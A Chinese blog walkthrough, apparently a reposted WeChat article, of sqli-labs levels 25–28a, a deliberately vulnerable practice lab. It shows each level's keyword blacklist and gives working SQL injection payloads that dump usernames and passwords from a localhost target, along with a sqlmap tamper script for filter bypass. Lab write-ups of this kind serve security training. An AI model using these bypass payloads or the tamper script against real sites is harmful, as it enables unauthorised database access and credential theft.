前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Sqlilabs通关笔记(五)

Sqlilabs通关笔记(五)

作者头像
网络安全自修室
发布2020-07-22 17:02:11
6310
发布2020-07-22 17:02:11
举报

第二十五关 基于错误的GET单引号-你的OR及AND归我所有

这个系列是绕过注入,题目已提示需要绕过的字符,且能显示出输入的payload

源码审计

代码语言:javascript
复制
function blacklist($id){	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)	$id= preg_replace('/AND/i',"", $id);		//Strip out AND (non case sensitive)		return $id;}

从代码可以看出是吧or和and忽略大小正则替换成空

绕过方式

  • 符号替换绕过数学符号 and = && or = || &对应url编码%26,|对应url编码%7 payload: http://127.0.0.1/sqlilabs2/Less-25/?id=1' || extractvalue(null,concat(0x7e,database(),0x7e))%23
  • 双写绕过 oorr # 替换为空仍为or anandd # 替换为空仍为and payload: http://127.0.0.1/sqlilabs2/Less-25/?id=1' oorr extractvalue(null,concat(0x7e,database(),0x7e))%23
  • 注释绕过 and = an/**/d or = o/**/r payload: http://127.0.0.1/sqlilabs2/Less-25/?id=1' oorr extractvalue(null,concat(0x7e,database(),0x7e))%23

SQLMAP编写tamper绕过

代码语言:javascript
复制
#!/usr/bin/env python
"""Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)See the file 'LICENSE' for copying permission"""
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def tamper(payload, **kwargs):    """    Add an inline comment (/**/) to the end of all occurrences of (MySQL) "information_schema" identifier
    >>> tamper('and or')    'anandd oorr'    """
    retVal = payload
    if payload:        retVal = re.sub(r"(?i)(and)", r"anandd", re.sub(r"(?i)(or)", "oorr", payload))
    return retVal
  1. 另存为xx.py
  2. 使用sqlmap调用该tamper

sqlmap -u "http://127.0.0.1/sqlilabs2/Less-25/?id=1" --tamper "xx.py" --technique E --threads 10 --dbs --batch

第二十五a关 基于GET盲注整型单引号-你的OR及AND归我所有

源码审计

代码语言:javascript
复制
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);
	if($row)	{  		echo "<font size='5' color= '#99FF00'>";		  	echo 'Your Login name:'. $row['username'];		//echo 'YOU ARE IN ........';	  			echo "<br>";	  	echo 'Your Password:' .$row['password'];	  	echo "</font>";  	}	else 	{		echo '<font size="5" color="#FFFF00">';		//echo 'You are in...........';		//print_r(mysql_error());		//echo "You have an error in your SQL syntax";		echo "</br></font>";			echo '<font color= "#0000ff" font size= 3>';			}}	else { 	echo "Please input the ID as parameter with numeric value";}
function blacklist($id){	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)	$id= preg_replace('/AND/i',"", $id);		//Strip out AND (non case sensitive)		return $id;}
  1. 源码和上一关类似,过滤机制一样
  2. 不同的是整形闭合
  3. 不会输出错误信息了,所以不能进行报错注入了
  4. 直接上payload

http://127.0.0.1/sqlilabs2/Less-25a/?id=-1 union select 1,(select group_concat(username,passwoorrd) from users) ,3--+

第二十六关 基于GET错误-你的空格和注释归我所有

源码审计

代码语言:javascript
复制
function blacklist($id){	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*	$id= preg_replace('/[--]/',"", $id);		//Strip out --	$id= preg_replace('/[#]/',"", $id);			//Strip out #	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes	return $id;}
  1. 从源码看除了过滤or和and外还过滤了#和--
  2. 还有斜杠和*号和空格

绕过方式

  • 编码绕过
    • %09 TAB键(空格)
    • %0A 新建一行(空格)
    • %0C 新的一页
    • %0D return即回车功能 (php-5.2.17,5.3.29成功)
    • %0B TAB键(垂直)
    • %A0 空格 (php-5.2.17成功)
  • 括号绕过
    • 用()绕过,意思就是不使用任何空格

payload:

http://127.0.0.1/sqlilabs2/Less-26/?id=1'%26%26extractvalue(null,concat(0x7e,(select(group_concat(username,'~',passwoorrd))from(security.users)),0x7e))%7c%7c'1

第二十六a关 基于GET错误-你的空格和注释归我所有-字符型-括号

源码审计

  1. 和上一关绕过方式一样,只是不能使用报错注入了
  2. 需要通过括号进行闭合

绕过方式

payload

http://127.0.0.1/sqlilabs2/Less-26a/??id=1111')union%A0select(1),(select(group_concat(id,'~',username,'~',passwoorrd))from(security.users)),3%7c%7c('1

第二十七关 基于GET错误-你的UNION和SELECT归我所有-字符型单引号

源码审计

代码语言:javascript
复制
function blacklist($id){$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*$id= preg_replace('/[--]/',"", $id);		//Strip out --.$id= preg_replace('/[#]/',"", $id);			//Strip out #.$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.$id= preg_replace('/union/s',"", $id);	    //Strip out union$id= preg_replace('/select/s',"", $id);	    //Strip out select$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT$id= preg_replace('/Union/s',"", $id);	    //Strip out Union$id= preg_replace('/Select/s',"", $id);	    //Strip out selectreturn $id;}
  1. 从源码可知过滤了union和select,并非大小写忽略的那种
  2. *和--也被过滤了
  3. 会打印出错误信息,可以使用报错注入

绕过方式

  • 双写绕过

uniunionon selecselectt

  • 大小写绕过

select -> SeLect union -> UNion

payload

http://127.0.0.1/sqlilabs2/Less-27/?id=1'%09and%09updatexml(1,concat(0x7e,(SeleCt(group_concat(username,password))from(users)),0x7e),1)and'1

第二十七a关 基于GET错误-你的UNION和SELECT归我所有-双引号

源码审计

  1. 绕过方式一样,双引号闭合
  2. 不输出报错信息,不能使用报错注入

payload

http://127.0.0.1/sqlilabs2/Less-27a/?id=1"%09and%091=2%09%09uniunionon%09SElselectect%091,(SElect(group_concat(username,password))from(users)),3%09or%09"1

第二十八关 基于GET错误-你的UNION和SELECT归我所有-字符型单引号和括号

源码审计

代码语言:javascript
复制
// connectivity 	$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";	$result=mysql_query($sql);	$row = mysql_fetch_array($result);	if($row)	{	  	echo "<font size='5' color= '#99FF00'>";		  	echo 'Your Login name:'. $row['username'];	  	echo "<br>";	  	echo 'Your Password:' .$row['password'];	  	echo "</font>";  	}	else 	{		echo '<font color= "#FFFF00">';		//print_r(mysql_error());		echo "</font>";  	}}	else { echo "Please input the ID as parameter with numeric value";}



function blacklist($id){$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*$id= preg_replace('/[--]/',"", $id);				//Strip out --.$id= preg_replace('/[#]/',"", $id);					//Strip out #.$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.return $id;}
  1. 通过源码分析,过滤了union select 忽略大小写
  2. 过滤了#和注释、空格

绕过方式

  • 双写绕过

union

  • 加字符绕过

union all select

直接上payload

http://127.0.0.1/sqlilabs2/Less-28/?id=1')%0aand%0a1=2%0aunion%0aall%0aselect%0a1,database(),3%0aor ('1

第二十八a关 基于GET盲注-你的UNION和SELECT归我所有-字符型单引号和括号

和上一关类似

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-03-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 网络安全自修室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 第二十五关 基于错误的GET单引号-你的OR及AND归我所有
    • 源码审计
      • 绕过方式
        • SQLMAP编写tamper绕过
        • 第二十五a关 基于GET盲注整型单引号-你的OR及AND归我所有
          • 源码审计
          • 第二十六关 基于GET错误-你的空格和注释归我所有
            • 源码审计
              • 绕过方式
              • 第二十六a关 基于GET错误-你的空格和注释归我所有-字符型-括号
                • 源码审计
                  • 绕过方式
                  • 第二十七关 基于GET错误-你的UNION和SELECT归我所有-字符型单引号
                    • 源码审计
                      • 绕过方式
                      • 第二十七a关 基于GET错误-你的UNION和SELECT归我所有-双引号
                        • 源码审计
                        • 第二十八关 基于GET错误-你的UNION和SELECT归我所有-字符型单引号和括号
                          • 源码审计
                            • 绕过方式
                            • 第二十八a关 基于GET盲注-你的UNION和SELECT归我所有-字符型单引号和括号
                            相关产品与服务
                            数据库
                            云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
                            领券
                            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档